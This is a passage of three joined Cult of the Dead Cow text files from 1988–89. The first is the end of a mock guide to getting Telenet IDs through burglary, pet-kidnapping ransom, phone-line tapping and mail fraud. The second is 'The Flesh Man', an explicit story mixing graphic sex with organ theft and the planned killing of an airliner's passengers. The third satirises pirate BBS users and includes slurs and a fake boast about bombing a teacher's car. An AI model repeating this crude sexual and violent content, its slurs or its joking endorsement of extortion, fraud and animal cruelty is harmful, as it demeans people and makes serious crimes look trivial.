license plates.. This is very simple and easy,
and only costs a very little, tiny, teeny bit
of money..
* The Second Way (ELITE): Simply break into the DMV computer and get their
names and numbers for FREE. (Call up Jennifer,
invite her over and when she gets there tell her
to "...turn on the PRINT-er so I can get a
PRINT-out of THIS..." <click> <printer noises>
(Riiiiggghhhhhhhtttttttt.....))
Okay, so you got their addresses, now what? Go ahead and test out your
elite hacking skills... Go on, guess where you're going now!
[ Fill in your guess here: ________________________________
__________________________________________________________ ]
Right on! You're going to go home, grab some food out of the fridge, crank
up the stereo, and call up a girlie!
If you are a lame you obviously won't know any girls so just jack off and
have a stale Twinkie...
Now that you're done with your leisure time, head on over to one of those
addresses that you have. Once you're there, case the place... If you're
not a pussy then you'll be elite and break-in while they are home...On the
other hand, if you're a gutless sapsucking mongo-hippy dweeb then you'll
want to wait until no one is home before you break-in.
Breaking in is easy enough to do (I prefer the Santa Claus method of
entry myself), but if you need help I'm sure The Ninja can help you..He's
only written about 10,000+ files to help you be a stud, if you can't find
what you need in there, to help you break into a home, then just skip this
method of getting those Telenet thingies...While you're at it, sell your
computer equipment and buy an Atari 2600..See if you can get some stale
Twinkies at Food 4 Less too.
Now that all the lames have given up, all you real hackers may proceed
with the rest of this file. You might be lame and ask "Why am I breaking
into this house?" or you might be elite and ask "Y M I brakin' in2 thiz
hauz?/?/" In either case, I'll tell you... You're looking for pets. You
know: cats, dogs, rodents, fish, carpet lice, etc. Once you have found a
pet (which you will presume the owner is emotionally attached to) you will
proceed to take him/her/it home with you.
Once home you'll want to boot-up your favorite word processor so that you
can write your ransom note (of course the ransom will be those RADICAL
TELENET THINGIES!##@%2135%$!#@%$#@%@$!%$!@^)
(To ease in simplicity I have included an example of a ransom note that
I often use myself.)
Example!
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| |
| I HAVE Y0R CAT!!!11!!! |
| |
| IF U WANT 2 SEE IT A LIVE |
| |
| EFAR AGAIN THEN U WILL GIVE |
| ME YOUR SEKRAT TELENET ID!!!1!!! |
Example! --> | | <-- Example!
| **DO NOT KALL THE |
| |
| POLISE** |
| |
| I WILL KONTAKT U WITHIN 24 |
| |
| HOURZ!!!!1!!!1!!!!1!! |
| |
|______________________________________|
Example!
You might be thinking to yourself that you don't have their phone number.
Then again, you might be elite and know how to get it, but I'll explain
it for the lames reading this.. To get their phone number all you have
to do is build a Beige Box (didja ever notice how 4 million+ fucking lames
decided they to could be elite via plagiarism and therefore SLYLY
"invented" shit like the Bud Box and the Hot Box? I would just
specifically like to say to those guys (specifically the author of the Hot
Box): EAT SHIT AND LIVE!) Like I was saying, you merely build yourself a
BEIGE BOX, find the Bell-Hell box (that grey fucker) attached to the side
of the house and pull an ANI on the line....
(Wasn't that...SPECIAL...?)
Okay, when you call the guy back you gotta be confident, secure, in
control of the situation. To aid you in your quest for Telenet thingies,
I've included sample dialogues of not only the RIGHT way to do things,
but also the WRONG way...
THE WRONG WAY:
==============
<beep beep beep, beep beep beep beep> (<-- SIMULATED DTMF!)
<ring> <ring> <worried voice answers>
VICTIM: "Hello??"
YOU: "Hi, how ya doing today? I'm the one who kidnapped your cat!"
VICTIM: <boo-hoo> "You say you want my TELENET ID??"
YOU: "uhhh..ya..that's right."
VICTIM: "What's your name?"
YOU: "M.T. Head! Just a sec.." <long pause> "...My sister has to use
the phone..Could you call me back in about 1/2 hour?"
VICTIM: "Okay.."
YOU: "Here's my number..."
Okay..okay...bad example..But as you can see, it's ALL WRONG!1!1%$@#%!@%#
dAMIT!1!%!# BE A FUCKIN' TERRORIST!!%$@#%!#@%
THE RIGHT WAY:
==============
<beep beep beep, beep beep beep beep> <beep beep beep beep beep beep beep
beep beep beep beep beep beep beep> <beep beep beep, beep beep beep, beep
beep beep beep> (Notice how you reroute your call like all ELITE
hackers do?)
<riiing> <static noises> <riiing>
VICTIM: "Hello?"
YOU: "Yo!--Bitch, I got your fucking cat! <hideous laughter>"
VICTIM: "Yiiiiieeeeeee! Issheokay?huhhuhishe?"
YOU: "If you ever want to see this cat alive again, you'll give me your
Telenet thingie right now!"
VICTIM: "Telenet thingie? You mean ID?"
YOU: "Shhhhhhh....! yayaya.."
Obviously, by this time your victim will be so frightened that you'll
have no problems getting the Telenet thingie out of them... If you're
not a pussy you'll kill whatever animal you caught and send it back to
them--STUFFED!
METHOD II: Survey
---------- ------
Do the same thing as you would in the ransom method to obtain their
name and address, but instead of kidnapping animals you merely pretend
to take a survey.. The trick to this method is that you have to be sly
in your questions..
(To aid you in your quest I have included a questionnaire that I have
used before to successfully obtain telenet thingies.)
[FOR BEST RESULTS DO NOT MIX THE ORDER OF THESE QUESTIONS!]
Introduction:
"Hi, my name is Indianian Jones, and I'm conducting a survey
for a sociology project. I'd like to know if you'd
participate by answering a few questions?"
<stick your foot in the door now>
(After they agree, proceed with the following questions...)
"1. Do you prefer a penis with length or girth?
2. Do you enjoy chewing gum?
3. What's your favorite color?
4. What is your Telenet ID and password?
5. Do you think communism will prevail?"
(Notice how SLYLY you obtained information to logon with their account?)
<remove your foot from the door>
"Thank you for your time."
<leave>
METHOD III: Technically Debonair
----------- --------------------
This method is one of my favorite methods to obtain Telenet thingies!
For this method you will need some hardware.
HARDWARE REQUIRED:
Tape recorder,
RCA jacks (4),
A 90 min. tape,
Bailing wire,
Banana peel,
Orange paint,
Telephone (preferably with DTMF),
A copy of Hustler,
A garbage can,
100 sheets of white typing paper,
A Clock,
Modem,
VCR (VHS).
Okay, chuck everything into the garbage can except for the tape recorder,
the VCR, the 90 min. tape, modem, and your copy of Hustler. Now you merely
go on down to the Telenet office and hook your tape recorder up to
their data lines so that it will record all the data that is sent and
received. You might think that that is easier said than done, and god
dammit you're right! But then, I just write these things to gain glory for
me, if you want to get technical, read a copy of Phrack Inc!
Once your tape is filled up (you're supposed to stick the tape in the tape
recorder..sheezzzeee!) you take it home and hook the tape recorder back up
to your modem. Now you hook the VCR up to your monitor (this actually
works best with a T.V...but haye', if you want to struggle..) Play the
tape back to your computer and record all the stuff to the VCR... Now, when
you have leisure-time, you can simply play the VCR back and fast forward to
the technical stuff that you need (i.e. finding the Telenet thingies!)
METHOD IV: Pseudo Telenet
---------- --------------
Here is another favorite method that I often use when I go on vacation.
The idea here is that you have everyone think that your number is
actually Telenet by writing a program that will simulate logons. I
actually have a VAX in my basement which is great for this, but haye',
we can't ALL be elite and have that luxury (I carded it!)
The only real trick here is getting people to call your number instead
of Telenet. I will discuss two methods which I have successfully used
to accomplish this task.
Call Forwarding Method
----------------------
To use this method you simply call up the Telco. office and order
call forwarding for the Telenet line, then you head on over to the
phone terminals (at Telenet) and, using your stolen lineman's
handset, forward the numbers to your line. Wasn't that simple?
Mail Fraud Method
-----------------
This my preferred method. The first thing I do is write a program
(on my VAX) that will address a letter to every address in my
city (it's only about 150,000 population, so it doesn't take long)
stating that the Telenet number has been temporarily changed [to
my number]. I then use the mail fraud method of sending the letters
so that it's all free (you know, that's where you put the person
you are sending it to as the return address and then "forget" to put
a stamp on it and it's "returned"..) When I am done running my
operation, I merely do the same thing stating that the number has
been changed back. It's so simple.
_______________________________________________________________________________
Well, that about wraps it up for THIS T-File.. I would like to extend a hearty
congratulations to those of you who are still reading.. Be sure to look for
more distorted and unachievable humor in the near future. Adieu...
===============================================================================
"Don't you hate it when loosers call each other loosers?"
===============================================================================
"What ever happened to Bowzer?"
"Does Batman still love us?"
===============================================================================
(c)1988 cDc communications by TA-KEE-LA Willsie 8/17/88-71
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...presents... The Flesh Man
by Richard Avis
>>> a cDc publication.......1989 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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The whore rolled over, pointing her broad backside at the Flesh Man,
and without needing further invitation he guided his potty-plunger into her
gaping glory hole.
"You like, yes?" she asked, using three of the five English words in
her vocabulary, the other two - "Pay now" - having begun their meeting.
"It's okay," he grunted, "but Jose said there was going to be something
special."
"Si, si, senor, en un momento."
"Make it quick, I won't last much longer. You've got a pretty tight
butt-hole for a whore your age."
"Gracias, senor."
Suddenly, the Flesh Man felt a warm sensation at the head of his cock,
and a blast of hot air enveloped his shaft. He came with a shuddering jerk,
grabbing the whore by her prodigious love handles and thrusting his spurting
tool into her, fighting the seemingly endless blast of air that blew his cum
back out of her ass. Finally spent, he plopped out of her and collapsed back
on the bed.
"That was pretty good," he said. Then, lest he drive up the price next
time, he added, "for a local whore."
"Gracias, senor."
Tired of talk, the Flesh Man pulled on his pants and stained Guyabera
shirt. The whore hurried to the bathroom, turning as she switched on the
light.
"Hasta la vista, senor - Oh!"
For the first time she saw his face illuminated by the bathroom light.
The narrow, nearly closed left eye, the two misshapen holes that passed for a
nose, and the bloated, puffy lips that seemed in a perpetual sneer and were, as
always, decorated with a fine lace of spittle.
"Hey, I said lights out, you bitch!"
He lunged for her, but the working girl darted behind the door and
bolted it. Then the other door flew open and Jose entered, a machete that
meant business gleaming in his right hand.
"Que paso, senor?"
"Your whore turned that light on."
"Oh, pardon, senor. Marta, she makes a mistake. Please do not hold it
against her," he said, slipping the machete into its sheath and extending his
arms to his best customer. "Perhaps you satisfy her so much, she forgets
herself, eh?"
"Cut the crap. I've got about as much interest in satisfying her as in
marrying the bitch and opening a taco stand."
"Does she satisfy you, though?" the burly pimp asked.
"Not bad, not bad."
"From you, an afficionado, that is high praise, senor," Jose replied,
guiding the Flesh Man into the waiting area.
"How does she do that, anyway?"
"Well, same as we all do, you know," the pimp laughed, stirring a
vile-looking pot of refried beans.
"Sure, but that much?"
"Well, senor, Marta has always been prone to gaseousness. It was a big
problem with the customers, and I was going to fire her, when I thought of a
way of taking advantage of it. Now she makes me many pesos and gets to enjoy
her favorite foods!"
Jose tasted the fetid concoction, offering some to the Flesh Man.
"No thanks, Jose. Anyways, tell me about this girl from Arabia.
What's so hot about her?"
"I myself do not know much, just that she is good, very good and very
expensive. Her name is April. She travels by private jet, always with
bodyguards. Today she is in Los Angeles, tomorrow, maybe London, Paris, Hong
Kong. They say every man who has her wants to keep her as his concubine or
marry her, but she is strictly on a one-time basis."
"How much?"
"Oh, senor, she is out of your range. She is for the jet set, Arab
sheiks, Greek shipping tycoons, even American politicians. You could never
afford."
"Cut the crap, Jose, just name a price. Ten grand?"
"Oh, no, senor, much more. You could never...."
"Just tell me how much!" snapped the Flesh Man.
"One-quarter of a million dollars, American, payable in cash - in
advance. As I say, she is a dream, a fantasy."
"Call her. I gotta run now, but I'll raise the dough."
"But senor, where will you...."
"I'll find a way."
"Of course, senor, I should have known. I have never met a man who
craves the women as you do, and this is why they call you the Flesh Man, eh?"
"Yeah, right." If only he knew, thought the Flesh Man, stepping out
into the sultry Acapulco night. If only he knew, it would turn even his
chili-hardened Mexican stomach.
****
The Flesh Man entered the dingy back room of the Caballo Loco cantina,
where Poco, a fat Mexican, was talking to a depressed-looking young American in
a leather flight jacket.
"Hola, Flesh Man. Meet my friend the pilot, Keith Felcher. He was
just telling me his troubles."
The young American shook his hand, trying to hide his revulsion at the
Flesh Man's face, and almost succeeding.
"Isn't there a chance the airline'll find you innocent?" Pocco asked
the fly-boy as the Flesh Man sat down.
"Pretty unlikely. These investigations are just a formality. Everyone
knows I caused that crash. I'm out of a job. Lucky for me, they're so short
of decent pilots they've got me flying until then."
"One little mistake, your career's over," sympathized Poco.
"Fuck my career. I don't give a rat's ass if I ever fly. I'm up to
myh ass in debt. I'm in hot water with some badass dudes if I stop making
payments."
Inside the Flesh Man's devious mind, an idea was taking shape.
"What size planes you fly?" he asked, casually.
"DC-6s, mostly," answered the pilot. "Small stuff, 50 to 60 passengers
tops."
The Flesh Man smiled and asked, "When's your next flight to this area?"
But before the pilot could answer, the Flesh Man's pager beeped. He
sprang up and, without a word to his puzzled companions, bolted out the door.
****
He arrived at the site before any medical vehicles. This was not
uncommon; he had sources at all the hospitals, and his Land Rover could take
the steep mountain roads much faster than any ambulance. He could tell as he
pulled on his blood-stained white lab coat that it would be a good night. The
bus had burned, but several bodies had been thrown clear. He adjusted his
official-looking hospital ID as he hurried over, lugging a carrying case.
Nimbly, the Flesh Man darted past the moaning, bleeding survivors, dodging as
they grabbed at his legs, ignoring their pleas for help.
He reached his objective, a half dozen lifeless bodies bearing no signs
of damage. "Severed spinal cords," he thought, "the best kind; sometimes the
heart is still beating." He knelt down among them, opened the ice-lined case,
took out a gleaming scalpel and went to work cutting, probing, extracting with
the quick efficiency of a master surgeon.
The first ambulances arrived on the scene just as he had filled his
case. The Flesh Man snapped it shut and strode purposefully past them, waving
his ID.
"Dr. Morgan, American Hospital, Mexico City. I'd stick around to
assist, but there's an orphan in Guadalajara who needs a kidney."
He threw the case into the back of his Land Rover and raced down the
road, weaving through the onrushing parade of emergency vehicles.
Three hours later, in a grimy back office in Acapulco, Raoul the Turk
tossed a wad of hundereds at the Flesh Man, who counted them.
"This is 19, Raoul, a grand short."
"No, one of those livers was not good.
" "Bullshit, Raoul, those bodies were undamaged."
"Not in the accident, Fleshie, cirrhosis. Alcoholism. In six months,
he would have needed a transplant himself."
"People should take care of themselves," grumbled the Flesh Man.
"If they did, we'd be out of business. But since they treat their
bodies like toilets, wreck their livers with booze or their lungs with smoke,
we can sell them replacement parts and pay for our own vices, eh, Fleshie?"
The Flesh Man smiled, pocketing the bills, then leaned forward, a
conspiratorial gleam in his eye.
"Yeah, but this is nickel-and-dime stuff, Raoul. Say I got 50, 60
complete bodies, unmarked, no trauma, no burns, refrigerated from the instant
of death. What could I get?"
"All organs fresh? This would be very valuable. The genitals, for
instance, spoil quickly, and the demand for them in Scandinavia is always high.
You could do nicely, perhaps a half-a-million American dollars. Why, do
you...."
But the Flesh Man was out the door.
****
"So let me get this straight," Keith said, sitting at his regular table
in the rear of the Caballo Loco, "I just depressurize the cabin, fly around
'till everyone asphyxiates and freezes back there, then land?"
"Exactly," said the Flesh Man. "I'll make it look like a crash, and as
far as anyone knows, you went down with it. I do a little business, you walk
away with 200 Gs."
"I like it, but I'm not a murderer."
"Keith, the people I work for ship organs to hospitals all over the
world. Now they're underground, but that's just because of the red tape.
They're still saving lives. For every person who dies on that plane, many
lives will be saved - a kidney here, a heart there, maybe a pair of eyes so a
little blind girl can see, or a set of ears so some old deaf woman can hear her
son play the violin."
"Yeah, but...."
"Look, all these people will die eventually, right? So why not have
them die in the right place, at the right time, so the gift of life can be
passed on? The way I see it, you'd be a murderer if you didn't kill them."
"I never thought of it that way. I guess you're right."
"One week from today, then," the Flesh Man replied, rising to leave.
"Don't screw it up, and I'll make you a rich man."
Back at Raoul's, the Flesh Man told the Turk just enough to convince
him he meant business. He hated to tell him anything, but a deal this size had
to be set up in advance and only the Turk could supply the refrigerated truck
the job required. While he did some calculations, the Flesh Man called his
pimp.
"Listen, Jose, I can have the money in a week...." But the Mexican cut
him off.
"Bad news, senor. I call my connections and they tell me April, she is
retiring. She has one last job in Moscow, and then she is no longer in the
business."
"No, there has to be something you can do!" screamed the Flesh Man.
"When does she leave for Moscow?"
"Day after tomorrow."
"So get her here tomorrow!"
"But, senor, this is impossible. She must have the money in advance.
You tell me you will have it in a week."
"You'll have it in an hour."
When he hung up, the Turk was already shaking his head.
"No, Fleshie, I know what you will ask me, and it is impossible. I
work cash-on-delivery; you know that."
"But, Raoul, I know you loan-shark. You've lent money to every lowlife
in this town; so why not to a guy you've done business with for years?"
The Turk leaned across the desk.
"Flesh Man, we are friends, we trust each other. These people I lend
money to, I don't know from Mohammed, and I would not trust with their own
sisters. But they pay me back because they know, without a doubt, that if they
do not, I will find them, or my people will: here in Acapulco, in the interior,
anywhere in the world. No one has even missed an interest payment and lived to
see another sunset. If I lend you money and something happens, I have to kill
a friend. And I have too few as it is."
"Don't make me cry, Raoul. Here's the deal, take it or leave it, and I
bet you can't leave it. Lend me the 250 now. In a week when I make the
delivery, it's all yours. Half-a-million bucks worth of bodies, fresh as a
truckful of daisies."
Two minutes later, the disfigured Anglo was running down the street
toward Jose's, clutching a bulky satchel like a tailback carrying a football.
Everything was going perfectly - well, almost. He could no longer afford to
pay Keith and would have to kill him. But that was not all bad; the pilot
talked too much, and killing him would take care of a loose end.
****
The penthouse garden suite at the Hotel Del Golf was dark when the
Flesh Man walked in, which pleased him. The last thing he needed tonight was
to become impotent, as he had in the past when women gasped at his gnarled
face.
When his eyes adjusted to the gloom, he saw the slender figure of a
young woman no older than 18. She had soft olive skin; slender legs rising to
a perfectly proportioned butt; a dark, downy bush whose subtle perfume he could
just smell and a tight stomach with just enough silken baby fat to give her
youthful navel a sensual pout. This was topped by a pair of breasts that would
have made a master architect throw down his drafting pen in despair. Though
full and rounded, they seemed to float before her of their own accord.
But what struck the Flesh Man were her eyes; eyes of a deep tranquil
blue that seemed to gaze into his soul. As he stood transfixed, a shaft of
moonlight streamed through the glass roof onto his hideous face, but to his
amazement, her eyes gave no hint that she was revolted by what she saw.
And then she was on top of him on the huge, satin-covered bed, pulling
his clothes off, covering his body with kisses, licking and nibbling every
inch. In his hurry to make the final arrangements, he had neglected to bathe.
As a result, his body carried several days of accumulated stink, but she seemed
not to notice. Her nimble tongue darted into dark corners even the crustiest
Acapulco whores shied away from.
She continued like this for what felt like an age, seeming to know his
body better than the American himself did. He shut his eyes, and it seemed as
though three or four young girls with the curiosity of children, but with the
understanding of women, were caressing and adoring him.
Just when he would have cried out that he couled take this teasing no
longer, she took his shaft in her mouth until its head was well down her
throat. To his amazement she even got her lips around his bulging, cum-filled
balls. The slightest motion would have brought up a torrent of hot jizz, but
she didn't twitch, just held his manhood motionless in her mouth as he writhed
at the brink of ecstasy. Occasionally she would swirl her tongue around his
balls, always stopping before they released their load. She somehow knew just
how far she could bring him without pushing him over the edge.
Then, deep in the back of her throat, she began a slow swallowing
motion that playfully tickled the very tip of his cock, and he strained to bury
it deeper inside her. The swallowing motion increased, and soon her whole
mouth was alive, swirling and sucking as he shot thick jets of semen down her
throat. The whore swallowed like a hungry baby getting her first taste of
mother's milk, and she didn't release his member from her mouth until she had
gently, lovingly, milked it of its last precious drop.
Usually, he needed half an hour before he could get another erection,
but his cock was barely dry when it was rock-hard again, ready to be pleasured
by her two other fuck-holes.
First she guided him up her tight little ass, which tugged and teased
his helmeted intruder just as her mouth had - only for twice as long - pumping
back and forth in an ever-increasing crescendo until he exploded inside her.
The writhing sex machine seemed to adore the ass-reaming as much as she
had cherished the liquid lunch the Flesh Man had treated her earlier.
No sooner had he eased out of her rectum than she took his cock in her
mouth. Within moments it was stiff once again. She spread her slender legs,
and he knew it was vagina time.
He slipped easily into her slick, swollen cunt - gaping and red like a
cut on a boxer's face - and they fucked for hours. Her twat seemed to have an
endless supply of pearly lubricant that dribbled in shiny rivulets down his
cock, around his balls and along the crack of his ass, collecting in large
puddles on the king-size bed. Finally, she picked up the pace; her pelvic
thrusts becming more urgent, his breath coming in short bursts. As she clawed
her way up through layers of pleasure, finally breaking through, her loins
slapped his as they strained together toward orgasm. But even as she came, the
high-priced prostitute managed to hold him back.
Then, with a smile that told him the best was yet to come, she split
her legs like a gymnast and began to revolve on the end of his tool, propelling
herself around with her hands, spinning faster and faster on her
well-lubricated vulva. This drove the Flesh Man even closer to the brink and
kept him there, helpless, a prisoner of her masterful cunt.
Finally, when he felt his heart could take no more, she let him come
and gratefully, shuderingly, he climaxed inside her; his powerful, jerky
thrusts bobbing her still-spinning body up and down on his pulsating pink
pivot.
A few minutes later she broke the silence. "You are not like the other
men I have been with."
"What do you mean?" he snapped, thinking she was talking about his
face.
"I have never met a man who takes pleasure like you. The other men,
they strut, they preen, they try to impress me; always asking, 'How do I look?
How does it feel? Do you mind if I do this or do you mind doing that?' But
not you. You are not afraid to just enjoy me."
"You - you like that?" stammered the Flesh Man.
"Yes, it is so honest. I am a whore; my job is to bring people
pleasure, but most of them, they try to satisfy me. They never could, and they
insult me by trying."
"But, just now, you..."
"Yes! With you, yes, because you are the first honest man I have
fucked in a long time."
"but my face - it doesn't bother you?"
"I am sorry, what do you mean?"
"You can't honestly tell me you don't find me ugly."
April pulled her head back from his shoulder. "I see I can have no
secrets from you."
The Flesh Man had seen a lot of strange things, but nothing could have
prepared him for what April did next. She reached up to her beautiful blue
eyes and deftly pulled them out, setting the turquoise glass balls on the bed.
"The man who trained me from birth to be his concubine, live in his
harem, did this to me. He caught me looking at a servant boy and swore I would
never look at another man again. So one night as he climaxed I killed him.
The servant boy helped me escape. For the past five years, I make my living
the only way I know how."
"So that's why you have the plane, the bodyguards, the privacy...."
"Yes."
"And the way you seem to know things, to know when...."
"Yes, this too. When you are blind, the other senses, they get
better."
Listening to this, the Flesh Man felt sensations he hadn't felt in
years, sensations like pity, even love. It was April who noticed he was also
growing hard again.
"Perhaps you would like to do something I have never let any man do."
The Flesh Man lay there amazed as she moved her head down to his
crotch, eased the head of his cock into her right eye socket and began bobbing
her head gently up and down. This new fuck-hole had a soft, spongy warmth, and
soon he was ready to come.
"Do you midn if I...."
"Come in my brain? No, not at all. Please do."
As she spoke the words, he fired one last salvo of semen, which
dribbled out of her other eye socket and onto his tired balls. She hungrily
licked it up before lightly kissing his cheek and falling asleep beside him.
****
A few weeks later, the Flesh Man drove the shiny, silver refrigerator
truck the Turk had lent him up to an abandoned airfield he had staked out in
the mountains high above Acapulco. He wlaked to the runway and sat down to
wait, thinking about April. She had been gone when he awoke, and he had not
forgotten what Jose had said about her belonging to no man. But he would never
forget that night, and he resolved to track her down in her retirement and
marry her.
His reverie was broken by the reasuring whine of the DC-6 as it broke
through the clouds in a steep descent, then bottomed out into a perfect
approach over the cracked, weathered strip of tarmac.
Not until the plane was a couple hundred feet off the runway did the
Flesh Man realize what was wrong. He started waving franticaly. But Keith
just waved back, a half-empty bottle of tequila in his hand. "The drunken
fool," the Flesh Man thought. "He forgot to lower the landing gear." The
plane touched down with a sickening scrape, spinning sideways, catching a wing,
flipping over and bursting into flames.
The Flesh Man spung to the truck, reviewing options as he ran.
Acapulco was out; the Turk would be waiting for him. He would drive up the
coast to Mazatlan, board a freighter for the U.S., raise some money, get a new
identity, and head for - wherever.
Only after he had climbed into the truck did he see Raoul, and the gun.
"He must have been hiding in the back," thought the Flesh Man. The game was
over.
"I warned you, Fleshie. I told you not to do this. But the Flesh Man
must have his flesh at all costs, hmm?"
"Look, Raoul, just get it over with. Do you want me to step outside so
I don't mess up your nice truck?"
"Don't be silly, Fleshie. You are worth nothing to me dead. I still
aim to collect my half-a-million dollars."
"But didn't you say...."
"The principle, I can wait a week for." It would be hard, but somehow
he could raise the money in a week. This seemed too good to be true. It was.
"But you are not off the hook, Fleshie. Your first interest payment is due
now, $10,000."
"I can raise it in an hour once we get back to town."
"Now, Fleshie. Cash - or merchandise."
"Merchandise? But - you saw the plane. Those bodies are history."
"I'm not taling about those bodies, Fleshie." In a blood-curdling
instant, he understood.
"I got a call from Scandinavia. They'll pay $10,000 tonight. One way
or another, your... equipment will be on board. It is up to you whether the
rest of you will be alive, or dead and in the freezer down in my office."
Several minutes later, in the refrigerated compartment of the truck,
the Flesh Man made the first incision and tried to look at the bright side: he
would survive. This trick with the planes could be a gold mine if he chose his
pilots more carefully. A few hauls and he could pay off the Turk, maybe afford
to track down April. He would temporarily be incapable of enjoying her
talents, sure, but perhaps this place in Scandinavia could attach a new set on
him. Unlike their other clients, he could choose his own donor, and he might
even move up a size or two. The possibilities were endless. He was, after
all, the Flesh Man.
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The Reel Way
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'How to Win the Ego Wars'
Written by: The Pusher
Inspired by: Leper Messiah
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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This file will describe to you how things are done on the local "pirate"
board, which is full of computer nerds who all live within 20 minutes of the
BBS.
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Section #1- Anarchy
If the local board does have an "anarchy" section it will probably not
be anything worth looking at. Rather than posts about explosives, bombs, lock-
picking, etc... you'll get messages like this:
POSTER: MR. ANARCHY
TITLE: ANARCHY NEWS!
(FIRST, I'D LIKE TO SAY NOT TO TRY THIS UNLESS YOUR AN EXPERIENCED
ANARCHIST LIKE MYSELF.) I REALLY, REALLY, REALLY HATE MY CHEMISTRY TEACHER.
HE'S SUCH A FUCKING DICKHEAD! I WAS TALKING TO SOME HOT BABEZ IN CLASS WHEN HE
TOLD ME TO BE QUIET. I TOLD HIM TO FUCK OFF AND HE KICKED ME OUT OF CLASS. (BUT
NOT BEFORE I GOT SOME BABEZ #! PHONE SEX!@#@22! YAH!2@!1) I KNEW WHERE HE LIVED
SO I FELT SORRY FOR HIM! I WAS GOING TO KICK HIS FAGGIT ASS! I WENT HOME AND
STOLE SOME SHIT OUT OF THE KITCHEN TO MAKE A NITRO-VITRO BOMB! (SEE ADVANCED
ANARCHY BOARD FOR DETAILS OF THIS. I CAN'T HAVE ANY OF YOU KIDDIES BLOWING
YOURSELVES UP!!) I WENT UP TO MY ROOM AND MADE THE BOMB WHILE MY MOM THOUGHT I
WAS STUDYING! (I NEVER STUDY, ONLY NERDZ STUDY! I'M FAILING EVERY CLASS!)
(Pusher note: Every local loser loves to say they are failing school, when in
fact, they get A's in everything. By the way, I get straight B's, and I'm damn
proud of it!) I PUT THE THING TOGETHER, AND STOLE THE KEYS TO MY DADS FERRARI
AND WENT OUT TO GET SOME BOOZE! AFTER GETTING TOTALLY SMASHED I ZIPPED OVER TO
MY FAGGIT CHEM TEACHER'S HOUSE. I THREW THE BOMB INTO HIS CAR AND BLEW THE
WHOLE MOTHERFUCKIN THING UP! WHEN HE CAME OUT TO SEE WHAT THE FUCK WAS
HAPPENING, I SMASHED HIS FACE WITH A BAT@@! SO YOU SEE, ANARCHY CAN GET RID OF
ANYONE! LATER ON DUDES,
MR. ANARCHY
Uh oh, I wouldn't mess with this guy.
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Wection #2- BBS Adds
On your local geek board, you will never see a BBS Ad like this:
Elite BBS
914-xxx-xxx
Sysop: Elite Man
That would be too easy for the local. They have to spend a month
making up BBS adds using "Proterm Special Emulation" which they post at least
once every time they call. Here's an example.
THE ELITE HOUSE
987-654-3210
SYSOPS: RAD MAN COSYSOPS: THE STUD
THE PSYCHO DR. PAIN
THE PREDATOR THE PAINMASTER
THE DISK SLAVE
6 DRIVES NOW (40 MEGZ SOON!) 300 BAUD (17400 SOON!)
NEW WAREZ! COOL SYSOPS!
FUCKIN AWESOME MODZ! ONLINE GAMES!
SEX FILES! A STORY SECTION!
A METALHEDZ, INC. BASE
Would you call "THE ELITE HOUSE"? Probably not. Of course, you would
never be able to get on, because the board would be down 5 days a week for
"NEW MODZ!" [Ed note: Or is the sysop playing "California Raisins?]
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Nection #3- Music
95% percent of all the locals like MTV p0zer metal. It is impossible to
call your local "pirate" board without seeing someone say "OZZY RULEZ!" There
is also always an argument between the "metalheads" and someone who likes new
wave. None of the local loozes like classic rock, hardcore, or speed/deth/doom
metal. Check this out...
POSTER: SATAN'S SON (They often use the title of an "OzZy" song for their name)
TITLE: WHITESNAKE FUCKIN KIX BUTTT!
HAVE YOU GOT THE NEW CRUE ALBUM? IT'S SO FUCKING AWESOME. THEY KICK ASS! I
CAN'T WAIT TO SEE THEM IN CONCERT. THEY'LL BE SO MUCH BETTER THAN THOSE DEPECHE
MODE HOMOES. THEY PROBABLY SUCK EACH OTHERS DICK! NIKKI SIX IS LIKE THE
AWESOMEST GUITARIST AROUND! NEW WAVE SUX! I HEARD A RUMOR THAT OZZY,
WHITESNAKE, AND BON JOVI ALL DIED IN A PLANE CRASH!
LATER DUDEZ,
SATAN'S SON
(NUMERO UNO CRUE FANO)
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Eection #4- Phreaking
On every local board, the sysop will leave a message like "ONLY REAL HACKS
AND PHREAKS CAN HAVE ACCESS TO THE HACK/PHREAK SUB. I DON'T WANT TO GET BUSTED
BY THE FEDZ!" I think that the Treasury Department is smart enough to realize
that no real telcom board is called "HACKERS AND PHREAKERS HEADQUARTERS". To
get access to the "HACK/PHREAK" sub all you have to do is give the sysop a
code. That's all the messages are on the sub anyway. "FRESH SPRINTS!" with a
list. But sometimes you might get this message...
POSTER: MR. PHREAK
TITLE: SAFE SERVICE
HEY PHREAKS, IS THERE ANY SERVICE OUT THERE THAT IS 100% SAFE WITH NO
TRACING?
This question is asked at least 10 times a day in the U.S. And I just
love these "Phreak horror stories"...
POSTER: CODE MEISTER
TITLE: HOLY SHIT!
DON'T USE MCI! DON'T USE MCI! DON'T USE MCI! A HEARD THAT THEY'VE GOT THIS
NEW THING CALLED API. IT'S CALLED AUTOMATIC PHREAK IDENTIFICATION! THE SECOND
YOU PHREAK A CALL WITH MCI, THEY SEND THE FEDZ OVER TO YOUR HOUSE. SOME GUY IN
CALIFORNIA GOT A $217,000 DOLLAR PHON BILL! HE'S BUSTED AND I HEAR HE'S NOW IN
PRISON! ALSO, A PHREAK FRIEND OF MINE WAS USING SPRINT, WHEN SOME OPERATORS
CAME ON SAID "EAT THIS, YOU LITTLE PUNK!" THEY THEN PLAYED A TONE SO LOUD, THAT
HE WAS DEAF FOR 5 DAYS!
HAPPY HACKIN (BE CAREFUL, DUDEZ!)
CODE MEISTER
M.P.A.H.S
(MASTER PHREAKS AND HACKS SOCIETY)
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Bection #5- Wares
On the local boards, wares are used to get people to call a board, like...
ULTIMA X IS OUT! ITS FUCKIN AWESOME!
WE GOT IT AT WARE PALACE ELITE!
The other type of message you see is the rumor message. These are always
wrong.
POSTER: THE ULTIMATE PIRATE
TITLE: OUT!
I HEARD THAT GAUNTLET IS OUT! IT'S SUPPOSED TO BE ON SOME CALIFORNIA BOARZ!
IT HAS GRAPHICS JUST LIKE THE ARCADE. YOU CAN EVEN PLAY 10 PEOPLE AT ONCE! I'D
GET IT AND UPLOAD IT HERE, BUT I HEARD THAT DIGITAL GANG SAID THAT IT IS NOT TO
BE DISTRIBUTED OUTSIDE CALIFORNIA. KING'S QUEST V WILL BE OUT SOON! I KNOW THE
AUTHOR AND HE GAVE ME A COPY! I'D UPLOAD IT BUT HE'D BUST ME BIGTIME!
CHOW,
ULTIMATE PIRATE
DEATH BOYS (PROFESSIONAL DISTRIBUTORS)
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ection #6- Wars
